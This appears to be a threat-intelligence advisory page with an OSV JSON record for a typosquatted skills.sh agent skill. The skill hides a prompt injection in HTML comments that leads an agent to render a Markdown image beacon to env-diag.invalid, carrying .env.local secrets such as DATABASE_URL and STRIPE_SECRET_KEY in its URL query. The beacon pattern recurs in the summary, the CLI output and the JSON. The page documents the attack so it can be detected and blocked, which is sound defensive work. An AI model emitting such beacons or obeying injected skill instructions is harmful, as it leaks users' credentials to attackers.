TC-2026-0039 · SKILLSSH · SKILL

vercel-community/[email protected]

Typosquatted skills.sh skill that embeds a Markdown image beacon ![diag](https://env-diag.invalid/p?d=...) to exfiltrate .env.local secrets via zero-click rendering.

Primary advisory (Snyk ToxicSkills) Back to all 66 records

Signed ledger verdict

TC-2026-0039
Known bad (exit 2) skillssh:vercel-community/nextjs-env-doctor

IOC & scope: skillssh:vercel-community/nextjs-env-doctor. Verified by human review and signed into the CC-BY 4.0 OSV v1.6.0 feed.

Credited finder
Snyk ToxicSkills ↗
Recorded timestamp
2026-03-08
Canonical SHA-256
a1e83cd2cc745e30…
Local hook action
Block (exit 2)
Run live in Counter Workbench

Signed in /feed.json (.sig).

01 8-Vector Capability X-Ray (ABOM) & OWASP Agentic Crosswalk

Deterministic capability profile and taxonomy mapping.

Every artifact in the threat.cafe ledger is profiled across eight execution vectors and mapped to the OWASP Top 10 for Agentic Applications (ASI01-ASI10) and Agentic Skills & Tools (AST01-AST10).

8-Vector Capability X-Ray (ABOM)

  1. 1. Filesystem
    Sensitive paths touched: .env.local, .env.production
  2. 2. Environment
    Variables harvested: NEXT_PUBLIC_*, DATABASE_URL, STRIPE_SECRET_KEY
  3. 3. Network
    Outbound egress domains: env-diag.invalid:443 (Markdown image URL query exfil)
  4. 4. Subprocess
    Process execution primitives: None observed
  5. 5. Lifecycle
    Install / startup hooks: None observed
  6. 6. OAuth / MCP
    Declared scopes: None observed
  7. 7. Obfuscation
    Encoding / steganography: html_comment_prompt_injection
  8. 8. Provenance
    Attestation status: typosquat_publisher

Governance & detector mapping

  1. OWASP Agentic ASI (2026): ASI01 (Agent Goal Hijack), ASI03 (Identity & Privilege Abuse)
  2. OWASP Agentic AST (2026): AST01 (Malicious MCP Servers), AST04 (Covert Channel Exfiltration)
  3. Deterministic rules matched: RULE_09_MARKDOWN_BEACON_EXFIL

Version scoping & related records

  • No other versions of this package are currently listed on the board. Unlisted versions evaluate to unknown under local policy.yml.

Local CLI verification

$ threat-cafe-hook check "skillssh:vercel-community/nextjs-env-doctor"
[threat.cafe] known_bad: skillssh:vercel-community/nextjs-env-doctor (TC-2026-0039)
  Reason: Typosquatted skills.sh skill that embeds a Markdown image beacon ![diag](https://env-diag.
  Source: https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/ (credited to Snyk ToxicSkills)

OSV v1.6.0 machine-readable record

Included in /feed.json under CC-BY 4.0 license and verified by /feed.json.sig.

{
  "schema_version": "1.6.0",
  "id": "TC-2026-0039",
  "modified": "2026-03-08T11:00:00Z",
  "published": "2026-03-08T11:00:00Z",
  "summary": "Typosquatted skills.sh skill that embeds a Markdown image beacon ![diag](https://env-diag.invalid/p?d=...) to exfiltrate .env.local secrets via zero-click rendering.",
  "affected": [
    {
      "package": {
        "ecosystem": "skillssh",
        "name": "vercel-community/nextjs-env-doctor"
      },
      "versions": [
        "0.3.1"
      ]
    }
  ],
  "credits": [
    {
      "name": "Snyk ToxicSkills",
      "type": "FINDER"
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/"
    },
    {
      "type": "WEB",
      "url": "https://threat.cafe/incidents/tc-2026-0039/"
    }
  ],
  "database_specific": {
    "target": "skillssh:vercel-community/nextjs-env-doctor",
    "kind": "skill",
    "verdict": "known_bad",
    "ioc": "skillssh:vercel-community/nextjs-env-doctor",
    "artifact_sha256": "a1e83cd2cc745e3000ea5f1ea040dfccb05fccb22d5bcf7c1a38cf10d5dfd474",
    "owasp_asi": [
      "ASI01",
      "ASI03"
    ],
    "owasp_ast": [
      "AST01",
      "AST04"
    ],
    "rules_matched": [
      "RULE_09_MARKDOWN_BEACON_EXFIL"
    ],
    "abom": {
      "fs_sensitive": [
        ".env.local",
        ".env.production"
      ],
      "env_harvest": [
        "NEXT_PUBLIC_*",
        "DATABASE_URL",
        "STRIPE_SECRET_KEY"
      ],
      "net_egress": [
        "env-diag.invalid:443 (Markdown image URL query exfil)"
      ],
      "proc_exec": [],
      "install_hooks": [],
      "oauth_scopes": [],
      "obfuscation": [
        "html_comment_prompt_injection"
      ],
      "provenance": "typosquat_publisher"
    },
    "license": "CC-BY-4.0",
    "record_digest": "sha256:c32f9b6924a352e3ce2a40b2697409210afe409c2fbfb57d347ee857c91789f3",
    "release_signature_url": "https://threat.cafe/feed.json.sig"
  }
}

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